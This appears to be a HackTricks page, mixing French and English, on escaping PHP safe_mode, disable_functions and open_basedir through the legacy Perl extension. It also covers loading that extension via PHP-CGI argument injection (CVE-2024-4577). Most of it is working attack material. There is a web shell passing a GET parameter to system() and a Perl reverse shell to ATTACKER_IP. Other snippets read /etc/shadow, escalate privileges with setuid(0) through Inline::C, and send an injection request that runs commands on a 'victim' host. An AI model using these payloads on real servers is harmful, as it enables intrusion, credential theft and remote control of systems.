PHP Perl Extension Safe_mode Bypass Exploit

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Contexte

The issue tracked as CVE-2007-4596 comes from the legacy perl PHP extension, which embeds a full Perl interpreter without honoring PHP’s safe_mode, disable_functions, or open_basedir controls. Any PHP worker that loads extension=perl.so gains unrestricted Perl eval, so command execution remains trivial even when all classic PHP process-spawning primitives are blocked. Although safe_mode disappeared in PHP 5.4, many outdated shared-hosting stacks and vulnerable labs still ship it, so this bypass is still valuable when you land on legacy control panels.

Compatibilité et état du packaging (2025)

  • The last PECL release (perl-1.0.1, 2013) targets PHP ≥5.0; PHP 8+ generally fails because the Zend APIs changed.
  • PECL is being superseded by PIE, but older stacks still ship PECL/pear. Use the flow below on PHP 5/7 targets; on newer PHP expect to downgrade or switch to another injection path (e.g., userland FFI).

Construire un environnement testable en 2025

  • Récupérez perl-1.0.1 depuis PECL, compilez-le pour la branche PHP que vous comptez attaquer, et chargez-le globalement (php.ini) ou via dl() (si autorisé).
  • Recette rapide pour un lab basé sur Debian:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • During exploitation confirm availability with var_dump(extension_loaded('perl')); or print_r(get_loaded_extensions());. If absent, search for perl.so or abuse writable php.ini/.user.ini entries to force-load it.
  • Parce que l’interpréteur vit à l’intérieur du worker PHP, aucun binaire externe n’est requis — les filtres de sortie réseau ou les listes noires proc_open sont sans effet.

Chaîne de compilation sur l’hôte lorsque phpize est accessible

If phpize and build-essential are present on the compromised host, you can compile and drop perl.so without shelling out to the OS:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

Si open_basedir est appliqué, assurez-vous que le .user.ini et le .so déposés se trouvent dans un chemin autorisé ; la directive extension= est toujours respectée à l’intérieur du basedir. Le processus de compilation suit le manuel PHP pour la construction d’extensions PECL.

PoC original (NetJackal)

Extrait de http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, toujours utile pour confirmer que l’extension répond à eval :

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Améliorations modernes des payloads

1. TTY complet sur TCP

L’interpréteur embarqué peut charger IO::Socket même si /usr/bin/perl est bloqué:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape même avec open_basedir

Perl ignore le open_basedir de PHP, vous pouvez donc lire des fichiers arbitraires :

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Dirigez la sortie via IO::Socket::INET ou Net::HTTP pour exfiltrer des données sans toucher aux descripteurs gérés par PHP.

3. Inline Compilation for Privilege Escalation

Si Inline::C existe à l’échelle du système, compilez des helpers dans la requête sans vous appuyer sur ffi ou pcntl de PHP :

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Traitez Perl comme un LOLBAS toolkit — par ex., dump les DSNs MySQL même si mysqli est absent:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

2024+ Abus : Chargement de perl.so via PHP-CGI Argument Injection (CVE-2024-4577)

Sur les installations Windows qui exposent encore PHP-CGI, la régression d’argument-injection de 2024 (CVE-2024-4577) vous permet de passer des options -d arbitraires à l’interpréteur. Cela signifie que vous pouvez charger l’extension Perl même lorsque dl() est désactivée et que php.ini est en lecture seule :

  • Construisez ou téléversez un perl.dll/perl.so compatible dans un chemin accessible en écriture par le serveur web (p.ex., C:\xampp\htdocs\temp\perl.dll).
  • Envoyez une seule requête HTTP qui injecte -d extension=C:\\xampp\\htdocs\\temp\\perl.dll et, dans le même corps de la requête, une payload Perl :
POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

<?php $p=new perl(); $p->eval("system('whoami && hostname')"); ?>

Parce que le worker PHP intègre maintenant Perl avant de lire le corps, tous les contrôles classiques disable_functions/open_basedir sont contournés. Cela fonctionne sur des stacks Windows/CGI vulnérables tant qu’elles ne sont pas patchées (PHP 8.1.29/8.2.20/8.3.8 et versions ultérieures corrigent la régression). Si open_basedir bloque le chemin de la DLL, déposez d’abord le fichier dans le répertoire de base autorisé ou exploitez un chemin de DLL lisible par tous fourni par XAMPP.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks